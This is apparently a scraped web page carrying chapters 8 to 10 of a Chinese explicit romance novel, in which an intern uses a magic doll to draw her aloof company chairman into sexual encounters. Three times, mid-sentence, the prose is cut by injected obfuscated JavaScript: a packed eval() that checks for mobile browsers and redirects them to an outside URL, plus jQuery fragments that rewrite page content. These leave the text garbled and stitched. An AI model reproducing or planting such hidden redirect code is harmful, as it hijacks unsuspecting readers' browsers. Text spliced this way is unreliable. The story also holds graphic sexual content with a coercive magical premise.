沈决远洗完澡出来,放了一张名片在桌上:“早餐在客厅。你休息好了打这个打电话,他是我的司机。我会让他直接送你回去,今天放一天假,在家好好休息。” 他安排的无比体贴且周到,似乎很有人情味。 可比起这些,池溪现在更想要的是陪伴。 她讨厌结束后的空虚,心脏仿佛被掏空了一般。她抿了抿唇,眼泪没骨气地落下来,但在被沈决远发现的那一刻,她将脑袋埋进了被子里。 不要将自己的软弱展现给其他人。她时刻记得妈妈教给她的这句话。 沈决远离开了,在她哭泣的时候。 然后就是现在。 池溪坐在工位前,她不太想回去。 回去了也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016378|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤零零地住在没人经过的房间。 还不如就待在公司,刚好可以蹭公司的网和电。 池溪想起她被塞到沈家之前,父亲对她的那些叮嘱。 要时刻记得自己的身份,不要给他丢脸,也不要给周家丢脸。要努力给沈伯父和沈决远留下好印象。 之所以没有提到郑伯母和沈司桥,以为池溪对她这个势利眼父亲的了解。 八成是他认为讨好后者没什么用。 ——“千万千万千万千万不能得罪了沈决远,知道吗?” 这是最关键的一句话。 池溪想,和他睡了算得罪他吗? 嗯...某种意义上的‘强迫’他和自己睡了算得罪吗? 池溪将头发放下来,试图挡住身上这件毛衣。 她担心有人注意到她的穿着。 她的衣服被撕烂了,已经没办法再穿。 她只能从沈决远的衣柜里取出一件毛衣换上。 大到她将袖子卷了好几圈才可以看到手。 她给沈决远发消息:“我可以穿你的衣服吗?我的衣服被撕烂了/(ㄒoㄒ)/~~” 这条消息的回复在她坐上回家的保时捷时才等到。 ——可以。 简洁明了的两个字。 紧接着,手机收到一条转账信息。 池溪困到睁不开的眼睛瞬间睁大了 她以为是自己眼花看错,数清楚后面的零后,她按了一连串的问号回过去。 ????????????? ——抱歉,撕烂了你的衣服。 对方附上转账原因。 原来不是她的过夜费....池溪松了口气,她松开手里的娃娃。 差点就要对它下手泄愤了。 ——用不了这么多的,我的衣服很便宜。 消息发出去,没有收到回复。情理之中。 沈决远对她的态度又回到了平时,冷淡疏离。刚才的一切仿佛都是一场梦。 的确是一场梦,池溪‘偷来’的梦。 她觉得自己很卑鄙,她想和沈决远坦白,可是他会信吗? 这种离奇的话他会信吗。 如果他信了,那他会放过自己吗? 显然是不会的。 池溪觉得接下来自己只能更用力地控制住自己的思想,不要再乱想那些乱七八糟的东西了。 她不希望下次真的和他在野外车zhen。 池溪点开沈决远的头像。本来是想进他的朋友圈看看的,结果发现这个人根本就没开通。 好吧,看来对他来说,这个app就只是一个单纯的社交平台。 嗯..甚至连他的头像都是系统自带的那种。 老古板。 在那方面也古板。 一整个晚上,他连她身上哪里长了痣都知道,她却只看清了他的腰腹肌肉。 精壮有力。 - 今天有一场会议,由于是保密级别,所以地点直接安排在了沈决远的办公室内。 白沙湾岛靠近西海流域,这次过去也是因为货船需要从那条航线经过。 中途会在白沙湾岛停泊。然后会有人将船上的货物重新更换一批。 办公室内参与会议的几个人已经争吵开了。 一头金发的俄罗斯男发表出反对的意见:“我认为这件事不应该如此冒险,丹尼尔,你清楚白沙湾岛的天气吗?” 梳着一丝不苟的背头,穿深褐色复古英伦风西装的男人驳回了他的意见:“可以人工消雨。能够花钱解决的事情就是最小的事情。” “为什么不能绕路呢,或许有比白沙湾岛更加完美的卸货地点。” “那就只有鲁加菲岛了。” 他们的争论再激烈,那个做决策的掌权人却从始至终都很安静。 他坐在单人沙发上抽着雪茄,黑色的西装外套微微敞开,露出里面的西装马甲。正经严肃的西装三件套。 男人长腿交叠,黑色薄底皮鞋,露出深红的鞋底,造成了一种视觉上的冲击。 就好像,如此古板禁欲的男人,偶尔也会有破戒的时候。 那几个人争论不休,最终还是求助的看向沈决远。 他一直没有发表任何意见,而是以审视的姿态看着他们。 半垂的眼眸几乎没什么情绪。 “就按照之前的方案来。”他放下手中的雪茄,“天气问题花点钱解决。鲁加菲岛靠近南海,那边查得严。” 更何况,那个岛无论是天气还是风景都是顶级,很适合居住。 他打算留给未来的妻女。 虽然他目前还没有结婚的打算。 有了他的发话,刚才争论的几个人此时都变得无比乖顺。 其中一个人准备替沈决远重新将雪茄点燃,可他刚起身,就看到了后方的中岛台,一条被扯烂的浅粉色内裤掉在地毯上。 看来打扫这里的保洁过于不仔细了。 丹尼尔重新坐下来,假装没有看见。 沈决远坐在沙发上,手边的雪茄正在缓慢燃烧,他眼眸微抬,神情从容中透着平静。他淡声询问:“新达那边,快了吗?” 片刻后,他低头看了眼自己的右手。 ——夹着雪茄的这只手,小拇指似乎被谁的手轻轻握住了。掌心正贴着他的手指轻轻摩挲,像在撒娇。 那只手很软,带着温热体温。 沈决远眉头微皱。 最近这种感觉总是会出现,他甚至在上周接受了心理医生的治疗。显然,效果并不显著。 他像驱逐苍蝇一样轻轻挥了挥手,但那个触感仍旧存在。 并且在接下来的谈话中,一直有意无意地触碰他的手指。 对方点头:“破裂的资金链无法填补,估计用不了三个月,对方就要提交破产申请了。” 沈决远抽了口雪茄,深邃的眼睛带着平静的淡色。 他眼眸微眯。 “三个月,还是太长了。” 丹尼尔立刻会意:“我会去抽个时间去找他的。” 沈决远点了点头。 那只手仍旧握着他的拇指不放。 沉默片刻,沈决远轻轻收拢手指回应。 无奈地握住了这只不安分,总是打扰他工作的小手。 9. 第九章 接到好友打来的诉苦电话时,池溪正在给那些文件分类。她的工作基本上就是这些杂活。 她用脑袋和肩膀夹着手机,将两只手空出来。耳朵和手都没有空闲。 偶尔嘴巴也得派上用场——用来安慰她的朋友。 “公司不允许办公室恋情我认了,为什么开除我不开除他?而且还是他主动追求的我。” 池溪听完后,突然想到了昨天晚上到今天早上在公司发生的事情。 她顿时有些心虚。 这份心虚持续到了挂断电话,她不安地询问部门前辈:“咱们公司允许公司恋情吗?” 前辈头也没抬:“虽然没有明令禁止,但一般是不允许的。” 池溪更加不安,抿了抿唇:“那是两个人一起开除还是.....” 前辈终于抬起头,他抬手推了推眼镜,看着她:“常规情况下是两个人一起开除。” 好吧,看来也有不常规的。 譬如,其中一方是董事长。 池溪彻底认命了。 但她侥幸地想,至少自己抱上了董事长这条大腿。沈决远哪怕再无情,应该也不至于沦落到被开除的地步。 下午三点的一场会议策划部需要参与,池溪作为新转正的实习生,被委派去参与一些打杂的工作。 还是负责整理资料。这段时间下来,她已经有了非常丰富的整理资料经验。 搭乘电梯来到会议室,她没想过会在这里碰到沈决远。 她以为这种普通会议一般都是由总经理或是副总裁出面,没想到竟然是董事长本人亲临。 他一身深色西装,坐在首座。很难想象五个小时前,如此严肃正经的他,像条发情的狗一样耸动着腰肢。 她努力控制自己的眼神不去看他的胸口。谁能想到呢,白衬衫和西装马甲以及西装外套层层覆盖的地方,有着那么性感健硕的胸肌。 “沈董,这是新修改的策划案。”部长走到沈决远面前,将手中的策划案放下,池溪跟在后面,将u盘插入电脑,只等得到沈决远的点头,然后播放手中的ppt。 沈决远很适合穿西装,因为和他身上那种禁欲冷淡的气质适配度很高。 他不需要说任何话,拥有任何表情,身上那种浑然天成的上位者气场就已经让人手脚发凉。 “开始吧。”片刻后,他语气平淡地命令。 池溪负责的工作全程都是一些杂活,ppt开始播放之后她就自觉站到了一边,连个座位都不配有的那一种。 因为她接下来还得负责将手中的资料发给正在开会的那些高层。 也包括坐在首位的沈决远。 她将资料放到他面前时,男人轻轻抬眼,看了眼她身上的毛衣。 很显然,他认出了这是自己的衣服。 但他的注意力并没有过多的放在她身上,平淡地扫了一眼便再次低下头,翻阅起手中的资料。 池溪其实也很心虚,她相信,明眼人都能看出这是一件男士毛衣。 无论是款式还是尺码。 并且很明显,这件衣服属于一位身材十分高大的男性的。 不过不会有人会联想到这件穿在底层员工身上的衣服,和这位最高掌权者有关。 沈决远很严厉。是那种让人感到局促与害怕的严厉。 池溪觉得四周的空气都因为他的低气压而凝固了。很显然,他仍旧不满意这一次的策划案。或许他已经开始后悔上一次的裁员力度还不够。 很大可能,公司即将迎来下一次大裁员。 池溪的思绪不由得飘远了些。她想起自己昨天晚上她恶狠狠地威胁那个娃娃,用手圈着它的脖子,故作凶狠道:“你要是敢让我丢了这份工作,我就掐死你。” 当然,她只是吓唬吓唬它,她可是良好公民,做不出这种事情来。 深知这次是他们部位最后一次机会的池溪只能在心里不断哀求娃娃大神能够显灵这一次。 “市场定位模糊和数据断层,风险对冲预案上也不达标准。” 他精准地指出上面的问题,并没有像之前那样,让他们拿着这份策划案滚回去重改。 他们的能力的确不足以支撑他们留在这个岗位,这也是集团逐渐走向谁衰败的原因,其实和沈司桥的无能没有直接因素。 负责这次策划案的上司紧张到声音都在发抖:“我们会重新补齐数据模型,然后重做市场调研。” “希望这是最后一次。” 沈决远将手中的资料递了出去,上司伸手接过。 这句话显然是一个讯号,他给了他们最后一个机会。 虽然惊讶于这个结果,但所有人都松了一口气。 会议到此结束,所有人都准备离开。 “池溪?” 男人翻看手中的名册,明知故问地问出一个名字。 众人都停了下来,包括被点名的当事人。 池溪战战兢兢:“还有什么交代吗,沈董。” 男人头也没抬:“你留一下,把这些东西整理好。” 那些人见没自己什么事,纷纷溜了,生怕在这里多待哪怕一刻。 池溪相信不会因为这种事情而产生自己和沈董的谣言。 不仅相信以沈董的眼光不可能看上她,同时还有出于对这位冷血强大的资本家的畏惧。没人有胆子去传播他的谣言,除非是嫌自己活得太久的。 池溪将办公桌上的文件通通收走,她心里非常不安,因为隐隐觉得发生那样的事情之后,沈决远很有可能会裁掉她 他是一个高标准的人,他不容许任何变数和差错存在。 她想,自己现在就成为了那个差错。 毕竟按照沈决远从小接受的教育而言,他肯定没有想过会和员工在自己的办公室里做整夜的爱。 早上她离开的时候,看了眼落地玻璃,那里已经狼藉到无法看清外面的景象了。 恐怕保洁打扫了很久才完全擦拭干净。 于是在沈决远冷血地辞掉她之前,她抢先开了口。为了让自己的底气足一点,她甚至还可以板着脸,让自己看上去有些恼火:“是你睡了我,我才是吃亏的那一个。” 沈决远脸色平淡:“你想说什么?” “我想说...”她深呼吸给自己壮胆,然后狮子小开口,“你不能以不允许办公室恋情为由裁了我。” 男人停顿数秒,表情没什么变化,唯独嘴角无声上扬了一个像素点。 比起笑,讥讽更加贴切。 “首先,我们没有谈恋爱。”他合上面前的文件,将手压放在上面,“其次,公司没有不允许职员之间存在恋情关系的条款。” 她强迫自己不要盯着他的手指看,因为这总能让她联想到昨天夜晚,他将自己的手中递到她面前,让她去看拉丝的粘稠状。 “把它舔干净。” 她不想,但沈决远直接用手指揉开了她的嘴唇,然后伸进她的口腔里,按着她的舌头搅动。 “自己的东西为什么会嫌弃。” 他的声音总是很冷淡中带着严肃。 训诫感太强了,池溪觉得那种时候也像是在上课或是汇报工作。 这总能让她感觉到紧张。 情绪紧张了,身体也会变得紧张。 沈决远摸摸她的头:“很好,保持下去。” 他似乎很满意,池溪听到身后传来他低沉性感的呼吸声。 仅仅是他的手指就让她联想到这么多,池溪想,完蛋了,那她以后看到沈决远岂不是就回想起昨天。 这显然不行。万一被那个娃娃感应到就完了。因为她的想象力很强,总是能够通过一些小细节联想到一大堆剧情。 “那我.....”虽然被他的第一句话扎了心,但池溪觉得这种时候还是工作更加重要,“那我就先走了。” 男人没有留她:“记得关门。” “好..好的,沈总。” 莫欺少年穷。 她面上唯唯诺诺,窝囊到只敢在心里暗自发誓。 虽然接下来的顺序只能依次是莫欺中年穷莫欺老年穷以及死者为大。 不可能有什么中年逆袭,曾经的白月光男神哭着求我原谅的鸡汤情节。 池溪觉得经历了那种‘坦诚相对’的剧情之后,她已经无法再以正常的心态面对沈决远了。 这总能让她联想到她在他身上身体抽搐地失禁的样子。 她觉得很羞耻。 可惜除了公司,在家里他们甚至还得坐在同一张桌子上吃饭。 今天池溪下班早,她去厨房帮忙。虽然她和之前那几位走得近的佣人闹掰了,但还是有那么一两个和她关系好的。 海鲜都是新鲜空运来的,牛肉牛排则是家里的牧场谷饲喂养,选取牛身上最好的部位,再经过加工处理。 家里其他人都是七分熟,只有北欧长大的大少爷习惯三分熟。 池溪戴着手套清理海鲜,她在心里吐槽,怎么不直接在太阳下面追着牛啃。 今天的海鲜又是鲍鱼,夫人最拿手的就是鲍鱼羹,所以总是用这道菜讨好大少爷。 “我感觉夫人这些卑微的讨好没有起到任何作用。” “是吧。我总觉得,大少爷更像是夫人和老爷的爹。” “嘘,你乱说什么呢,要是被听见就完了。” “没关系,这里就咱们。” 几个私下议论的佣人往池溪那里看了眼:“那不是还有一个吗?” 那人不屑一顾地笑了笑:“她和我们没区别,唯一的区别就是可以上桌吃饭而已。” 是啊,池溪在这个家里的存在和佣人没有区别。 郑伯母和沈伯父的存在和沈决远的下属也没有区别。虽然这么说有些倒反天罡。至少在旁人看来是这样。 他们在沈决远面前的小心翼翼完全不像是长辈应该有的。 池溪想,沈决远对于伯父伯母的尊敬完全是基于他自身的教养。 他给她的感觉总是很奇怪。 比起严肃古板,冷血无情似乎才是他真正的底色。 清洗鲍鱼时需要先将里面的水分挤出来,当手指挤压在上面的肉时,看着咸腥的海水一点点流出来,流满她的掌心和手指。不知想到什么,池溪的脸突然一红,将手中的海鲜重新放回盘子里。 吃饭的时候除了郑伯母偶尔会说上几句表达关心的话之外,沈决远全程都表现的很冷淡。 偶尔点点头,也算是给过回应。 池溪偷偷抬头瞥了一眼,虽然沈决远还是那副喜怒不显的神情,但她依稀能够感受到,他因为这份关心而产生的微妙不耐。 只是在他绅士优雅的表象下,这份不耐得到了很好的克制。 郑伯母希望能给他寻门好亲事的原因也是希望他能因此留下来。 她知道自己儿子是个什么德性,也知道旁系那一支一直盯着沈家的产业。 老爷子器重幼子,当年如果不是沈予亨在遗嘱上动了手脚,恐怕如今沈家的大部分产业都给了他。 如今沈家旁支这棵大树日渐壮大,枝桠已经快要探到他们头顶了。当初若不是沈决远答应回国,恐怕公司早就被吞并。 可决远不可能一直留在这里,他有自己的事情要做。 前阵子看新闻才知道,白沙湾岛的新项目开发,东南亚那边也有了新动静。 板块单日蒸发超4000亿美元,华尔街处于一片恐慌状态,却有人在此时抄底完成对冲。 虽然这条新闻里没有写明主语,但沈予亨知道做出这一切是谁。有这个能力的,也只有此时坐在自己左手侧,安静用餐的长子。 他一身标准的西装三件套,一丝不苟的背头,成熟气质尽显。唯独只有眼睛与自己有几分相似。 立体锋利的骨相令他在没有任何表情的时候,总让人感到冰冷的压迫感。 郑伯母再一次在饭桌上提到为他安排相亲的事情——也只有在饭桌上时,她才能够有机会和他说上几句话。 “上次你因为工作的原因没有去,这次可千万不能再推迟了。那个女生在巴黎留过学,是学艺术的,性格很好,知书达理。”郑伯母轻笑着开口,或许是担心他又因为工作太忙而推拒,郑伯母又补上一句,“我安排在家里见面,看你的时间安排。” 厨房将鲍鱼羹端上来,这次沈决远直接推开了。 他似乎对这道菜已经开始腻了。 也可能是刚吃过,目前不想再吃。 - “你真的答应了吗?” 距离晚餐结束已经三个小时了,天早就黑了。 池溪不知道自己为什么会出现在这里。严格意义上,她不知道自己为什么会主动坐上沈决远的车。 吃完晚饭后,她看着外面的天空,这里的房价之所以贵,就是贵在了这里的空气和景色。 她已经很久没有在城市里看到这么美的夜空了,听说今天十一点有狮子座流星雨。 距离别墅十二公里的那座山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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至于他究竟是不是,她就不得而知了。她只知道那家企业最后有外资进入,重新成立了资本。目前的归属权在谁名下,网上查不到任何信息。 池溪不希望自己也被狼狈拖走,太丢脸了。 她的大脑快速运转,最后说出一句:“呃...如果你去山上的话,我是想搭个便车来着....” 话音刚落,她就想要咬断自己的舌头。找理由也不找个好点的。沈决远去山上干嘛。那座山鸟不拉屎的,平时连个野兔子都找不到,他去山上干嘛?杀人埋尸吗? 然而下一秒,沈决远点了点头:“我的确有事要山上一趟。” “......” 然后就是现在。 刚熄灭的引擎还是热的,她趴在上面,感觉自己的身体被一种温暖包裹。 前面是车的引擎,后面是沈决远的胸膛。 她记不清自己的双脚悬空了多久。 整座山都太安静了。 沈决远没什么情绪起伏的声音从她身后传来:“所以,我为什么要在这种地方做这种事情。” “森..森么?”她已经说不清楚话了,那种受不了的咕噜声在她喉间徘徊,像是要突破颈项的干呕。 太激烈了。 “在野外屮女人,我为什么要做这种事情?” 比起问她,他更像是在问自己。 他在不解,也在鄙夷自己的行为。 虽然可能是在鄙夷此时的那个女人是她。 她觉得这种感觉就像是自己定制的剧情Play一样。但为什么每次都是她先退缩。 “我想下山了,不行...不行了...求你....”她害怕到求饶。 身后的男人并没有因此放过她。虽然鄙夷,但他没有停下。 不知道过了多久,树影沙沙,偶尔有几只鸟停在枝桠上方。 似乎是在观察着人类最原始的行为。 看来这次新闻没有骗人,十一点的时候,狮子座流星雨终于来了。 池溪记得小的时候,同桌告诉她,对着流星雨许愿就能够梦想成真。 她记到了现在。 上一次距离流星雨最近的时候是在大一那一年的冬天。她和舍友吹着冷风在学校的顶楼等了一夜,最后等来了一场大雪,流星雨自然也泡了汤。 她一直在等待着下一场流星雨。她希望能和爱的人一起坐在那里,在流星雨出现的时候许愿。她觉得会很浪漫,这样的场景她会记一辈子。 而不是在流星雨来临时,她正以最狼狈的样子扭着身体尖叫。 虽然比起前者,后者更能让她记一辈子。 不知道过了多久,或许是因为这次是在户外,沈决远并没有在结束之后就对她置之不理,而是绅士地替她将衣服穿好。 她早没了力气,此时像她放在房间里的那个娃娃一样,任凭他摆布。 拉链从身后拉上时,裙子完美地贴合着她的身形。 她的外面本来还加了一件羊绒大衣,但那件大衣早就一塌糊涂了。 她有些心疼,因为那件大衣的价格对她来说很贵。不知道上面的东西能不能洗干净。 “居然还能穿下它,看来这些年你的个子没有一点变化。”男人淡声发表了看法。 池溪觉得自己很无辜,这条裙子是她十八九岁的时候参加那个宴会时,爸爸给她买的。 当时她翻遍行李箱也找不出一条适合出席那个宴会的衣服。最后还是爸爸让人送来的裙子。 女生过了十八九岁本来就很难再长高。 她的腿还在打颤,男人顺势将她放在引擎盖上。上面铺着他的外套。 那件一看就比她的外套要贵出许多的大衣。池溪出于一种恶趣味的报复心,她想,她也要将他的衣服弄脏才行,这样才公平。 不过对于她幼稚的报复,沈决远显然不放在心上。 当然,也可能是一件普通的外套不被他放在心上,脏了就脏了。他不会因为这种事心疼。 他点燃那支事后烟,流星雨早就没了,但天空还能看见星星,月光让夜色变得明亮。 池溪坐在他的车上,手中拿着一瓶沈决远递给她的水,试图补充刚才身体流失的水分。 不知道过了多久,她被不断强高刺激到失去思考能力的大脑终于短暂地找回了一些理智。 她迟钝的想起来。 沈决远怎么会记得她上一次穿的什么衣服。 这条裙子她只穿过两次。 第一次是在那场宴会上——她遇见沈决远并对他一见钟情的那场宴会。 今天是第二次。 10.第十章 这里的夜晚有点冷,刚刚倒不怎么觉得,可能做那种事情本身就会让身体发热,更何况沈决远一直从身后抱着她。 男人的体温似乎要比女人的要高出许多。 他身上异常灼热,又烫又硬。就像是一个人体取暖器。 夜晚很冷,池溪的外套已经不能再穿,沈决远将他的外套披在她的肩上。 相比她的狼藉,他站在一旁,身上着装仍旧一丝不苟。只是西裤和衬衫手臂上的褶皱多了一些。 衬衫是池溪受不了的时候用手抓的。 “我明天可能起不来床了。”她已经坐进了车里,自动加热的真皮座垫让她全身暖和起来。 后排隔断的胡桃木饰板内有恒温柜,沈决远从里面取出一瓶温水递给了她。 她一边喝水,一边表现出挫败的样子来,“恐怕又要迟到了,这个月的全勤又没了。” 男人不留情面的淡声点明:“据我所知,你这个月已经迟到了四次。” 全勤早就没了。 “......”她心虚地抿了抿唇,显然没想过日理万机的董事长居然会知道一个底层员工的考勤记录,“我那是因为太难打车了....所以才会.....” 沈决远没有再继续这个无营养的话题,他抽着那根烟,等待身体慢慢归于魇足。 池溪想,他已经从刚才的亲昵中抽离了。又变回了那个高高在上的上位者。 “烟是什么味道?”她突然很好奇,眼睛盯着他抽了一半的香烟看。 沈决远偶尔会抽,频率不高,大部分时间抽的都是雪茄。 沈决远垂眸看她:“想试试?” 池溪以为他会拒绝。 可是他将夹烟的那只手递到她的嘴边。池溪这下是骑虎难下,只得张口含住,香烟滤嘴还带着他的余温。 她学着他的样子轻轻吸了一口。 然后呛住,剧烈地咳嗽。 沈决远将那只手收回,递给她一瓶水。 池溪已经不记得自己今天晚上到底喝了多少水了。她的身体一边在流失水分,一边又在补充水分。 她咳嗽完之后,小声说出自己的疑惑:“我以为..你不会让我抽。” 说完她又觉得自己未免太自视甚高了,她和沈决远没有任何关系,他凭什么要管束她。 她已经接受好面对他的冷笑了。但是没有,他只是说:“既然动了好奇的念头,不亲自试一试,怎么确定适不适合自己。” 池溪不知道他这番话有没有特别指向。 那他们现在的关系也是吗? 他已经试过了...虽然可能并不是建立在他完全自愿的前提下。 他认为适合自己吗? 回去的路上,沈决远开车,她自觉换到了副驾。 在住进沈家之前,爸爸带她学过一些必备的礼仪。 坐在后排是一种不礼貌且容易冒犯他人的行为。 身体上的异样还存在,池溪不敢并拢双腿坐着。 她脑子里总是会不由自主地闪过刚才的场景。沈决远在那种事情上,和他平时给人的感觉存在着一种反差。 没有优雅斯文的慢条斯理,反而横冲直撞,勇猛突进。 “白沙湾岛我查了一下气候,这几天可能会有雨。有什么需要我提前准备的吗?”池溪主动提起下周的工作。她还记得,沈决远让她去当生活助理的事情。 虽然她不知道自己负责照顾他哪部分的‘生活’ “不用。”他淡声拒绝了她。 山路不好走,但他车技很好,开的很稳。没有突然的急刹或是颠簸。 “可...既然我这次也要一起跟着去,肯定需要提前做好准备。”池溪在工作上很认真。 “我是说,不用你去。”他单手扶着方向盘,“会有更专业的人负责。” 他的话让她愣住了:“上次说让我去的....” “我不清楚自己当时为什么要做这个决定。但很显然,这个决定是错误的。”他平静的语气让池溪感到一种莫名其妙的难过。 像是被否定了一样。 好吧,这个机会本来也不是靠她自己的个人能力获得的。而是那个娃娃。 她抿了抿唇,默默地将刚掏出来的笔记本和笔重新放回包里。 也是,她的确没有这方面的经验。 - 池溪今天出门喷了香水,就是沈决远讨厌的那个味道。 刚才她就一直在想,他会嫌弃她身上的气味难闻吗? 可是她很喜欢这个味道,这是她最喜欢的一瓶香水了。 因为独特。 学校附近有一家香水diy的店铺,实习前她和舍友去那里一人diy了一款香水。 她给自己这瓶取名叫做枕溪入梦。 她甚至还专门和舍友吐槽过这件事,说有人觉得她身上的香水味廉价难闻,她不知道要不要换。 舍友慷慨激昂地说:“他懂什么,比我们大六岁的老东西,他的审美早就落伍了。” 池溪恢复了点自信,最后在舍友的强烈要求下把这个没品位的老东西的照片发了过去。 舍友说,她倒要看看这个审美老土的男人到底长什么样子。 照片发过去。 舍友:“话又说回来,你有他的联系方式吗?” 池溪早就认命了,十万一克的迦楠沉香,的确有资格说200一瓶的香水难闻。 车开停到目的地。 她下车后,车里全是她身上的味道。 哪怕是车载熏香也掩盖不住那股粘腻的气息。 沈决远绅士地目送她回到房间,然后看了一眼副驾上,她遗留下的东西。 池溪回到家后才发现自己的内裤不知道扔哪了。她记得她放在自己的外套口袋里。 她已经没办法再将那条湿透的内裤穿上了,但又不能将它扔在山上。一是乱扔垃圾不道德,二是她感到羞耻。 如果有爬山的人看到掉落在路边的小粉蕾丝,除了孩子,谁都能联想到在这里发生过什么事情。 所以她打算带回来再销毁。 可是摸遍了全身都没找到。 她突然有种不好的预感。 ....千万不要掉在沈决远的车上。 那天晚上她洗澡的时候不敢太用力,身上那些指痕都开始加深变重了,不过明天应该就能消。疼倒是不疼,就是看着怪吓人的。 沈决远的力气实在太大,体型差异也大,池溪第一次如此直观地感受到。 对方单手就能同时抓握她的两个脚踝。 之前在公司被他冷漠无视的时候,她也只敢在心里想,总有一天会踩在他的头顶。 想不到这一天这么快就来了,只不过离踩在他头顶还差了一点。 她暂时只能踩在他的肩上。 最近有台风登陆,连续下了三天雨。 公司也放了三天假,这三天里,池溪只见过沈决远两次。 一次是在饭桌上,郑伯母又不厌其烦地谈论到他相亲事宜,他的耐心大约已经彻底告罄:“您安排吧,我会尽量抽出时间。” 池溪想,不怪他不耐烦,实在是郑伯母提起的频率实在太高了。 池溪默默地盯着他脖子上的咬痕。 她觉得饭桌上的其他人应该都注意到了。可每个人都默契地没有开口。 她知道,他们不是觉得他有性伴侣是一件很正常的事情,而是不敢开口询问。 沈决远不是沈司桥,在和他的交谈中,他们更像是讨好者的姿态。 池溪低头安静吃着饭,即使她尽量缩小自己的存在感了,可话题还是回到了她身上:“小溪年纪也不小了,是时候找个男朋友了。” 池溪一口奶油菌菇汤呛在喉咙里。 她拿餐巾擦了擦:“啊,我吗?我觉得我暂时还....” 她想拒绝,但郑伯母笑容和蔼地打断:“你和司桥走得近,我知道你们关系纯粹,但外面的人不会这样想。这种事情损坏的都是女孩子的名誉。你父亲既然把你交给了我们,伯母就不能不替你筹谋这些。” 看似在为她着想,实则字字句句都是在划分池溪和沈司桥之间的界限。 池溪当然能够听懂。但她觉得郑伯母的担忧完全没有必要,她和沈司桥如果在一起了,那不叫恋爱,叫对食。 她喜欢的男人,是那种男人中的男人,雄性中的雄性,Master中的Master。沈决远那样的。 而不是像沈司桥这种毒舌gay。虽然她能确定沈司桥是直男。 可他给池溪的感觉非常mean。 尤其是对她。 与其担心她和沈司桥,还不如担心她和沈决远... 池溪默默地吃着生蚝和海参,那个晚上的消耗量太大了,她觉得自己需要多吃点海鲜补回来。 “小溪,你觉得怎么样?” 或许见她没回答,郑伯母又笑着问了一句。 她茫然地抬起头,发现所有人都看着她。 包括全程沉默的沈决远。 他此时拿起餐巾,慢条斯理地擦了擦嘴。 视线不经意地放在她的身上。 “啊,我....”池溪露出一抹难色,“我觉得太早了。” 郑伯母笑道:“晚了好的就被挑走了,女孩子还是越早越好。” 池溪心里清楚,郑伯母今天压根就没给她拒绝的机会。看来她是真的担心她会和沈司桥在一起。 她只得点点头,先应下来,以后再拒绝也行。 “那好吧。” 郑伯母脸上露出放心的笑。 池溪下意识看了眼坐在她斜前方的沈决远,后者早就收回了视线。 喝着咖啡,神情平淡。 显然对她去不去相亲的事情漠不关心。 不知道为什么,她总觉得心口闷闷的,呼吸有些不顺畅。或许是因为他的不在意。 这种不顺畅一直持续到去了公司,她才发现是打底羊绒衫穿反了,勒到了脖子。 一个月前论坛上匿名发布的那条帖子,已经被各大网友骂成了top。 全部都是在骂贴主接着诉苦的由头来炫耀。 现在,被骂了一个月也不见踪影的帖主终于再次出现。 但她没有回复那些骂她的评论,而是再次发布了自己新的烦恼。 ——【前段时间和我的crush睡了几次,但他今天答应和其他人相亲,我该继续还是退出呢】 不出意外,帖子立马迎来了新一轮腥风血雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021423|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 有骂她的,有替她分析的,有怀疑她是发布绿贴骗人的,也有试图开盒她的。 ——贴主是绿茶吧? ——我觉得还是理智一点吧,既然他在和你睡过之后还答应去相亲,说明他只是想睡你,仅此而已。 ——别回了,这人开绿贴骗关注度呢。少给眼神。 ——靠北啊,我是真的好奇你和你那个crush长什么样子。要是让我开盒开出一张猪精脸,你和你crush都完了。 池溪心态好,选择性地跳过那几百条骂她的评论,艰难地找到一两条给她分析的。 是啊,她也觉得是这样。如果沈决远心里真的有她,就不可能答应和其他人相亲。 那段时间池溪一直躲着沈决远,那个娃娃也被她锁了起来,放在衣柜最里面。 她觉得它的不确定因素太高了,她控制不了自己发散的思维,担心又会惹出更大的麻烦。 这次还只是野外play,那下次呢。 她可不希望出现沈决远开会,她蹲在桌下给他KoU的场景。 那太可怕了。 沈决远发现,那股时时刻刻都能够闻到的廉价的香水味消失了。 他已经好几天没有再闻到那股难闻的味道。 周围的空气洁净到像是被反复冲洗过。 一直持续了很长一段时间。 窝在他怀中赖床的温热触感也消失了。 更换衣服时也没有那只不安分的手在自己身上抚摸游走。 也不用在开会时分神握住那只看不见的手,防止她继续暧昧地在自己掌心写着字。 一遍又一遍的沈决远我爱你。 甚至连身上凭空出现的伤痕也开始愈合消失,没有再出现新的。 唯独脖子上,几天前池溪在他身上失禁时,一边哭一边求饶,最后尖叫着在他肩上咬了一口。 不止是牙印和之前出现在他身上的牙印一致,甚至连那种啃咬的感觉都一样。她有一颗虎牙,智齿往前数第五颗牙轻微的不整齐,咬人时,会有一种摩擦力。 他走进衣帽间,面无表情地脱下睡袍换上西装。一切终于回到正轨。 那股廉价的味道,甚至很久都没有出现在家里的餐桌上。 因为池溪一到饭点就找各种理由开溜,她很久没有和沈决远见面了。 